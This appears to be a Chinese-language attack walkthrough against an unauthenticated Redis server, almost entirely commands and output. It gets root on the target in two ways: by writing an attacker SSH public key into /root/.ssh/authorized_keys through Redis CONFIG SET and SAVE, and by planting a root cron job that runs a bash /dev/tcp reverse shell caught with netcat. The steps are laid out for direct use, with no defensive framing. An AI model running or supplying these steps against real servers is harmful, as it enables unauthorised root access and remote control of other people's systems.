Redis服务器:192.168.100.10
攻击机:192.168.15.101
一.发现目标
通过端口扫描,疑似有redis服务。
尝试连接
[root@localhost src]# ./redis-cli -h 192.168.100.10
确认有redis未授权漏洞。
二.攻击目标
1.通过redis未授权写ssh公钥
(1)用攻击机生成ssh公钥私钥
[root@localhost .ssh]# ssh-keygen -t rsa
生成id_rsa和id_rsa.pub两个文件。
将公钥写入1.txt文件中。
[root@localhost .ssh]# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
(2)通过redis未授权把公钥文件写入(192.168.100.10)
[root@localhost src]# cat /root/.ssh/1.txt | ./redis-cli -h 192.168.100.10 -x set crackit
[root@localhost src]# ./redis-cli -h 192.168.100.10
192.168.100.10:6379> config set dir /root/.ssh/
OK
192.168.100.10:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.100.10:6379> config set dbfilename "authorized_keys"
OK
192.168.100.10:6379> save
OK
192.168.100.10:6379>
这时已经成功写入
[root@localhost .ssh]# cat authorized_keys
(3)连接redis服务器
[root@localhost src]# ssh -i /root/.ssh/id_rsa root@192.168.100.10
成功通过私钥登录192.168.100.10服务器。
2.通过redis未授权写计划任务
(1)连接redis服务器
[root@localhost src]# ./redis-cli -h 192.168.100.10
(2)写计划任务
192.168.100.10:6379> set x "\n* * * * * bash -i >& /dev/tcp/IP/端口 0>&1\n"
OK
192.168.100.10:6379> config set dir /var/spool/cron/
OK
192.168.100.10:6379> config set dbfilename root
OK
192.168.100.10:6379> save
OK
192.168.100.10:6379> exit
(3)vps接反弹的shell
[root]# nc -lvvp 44444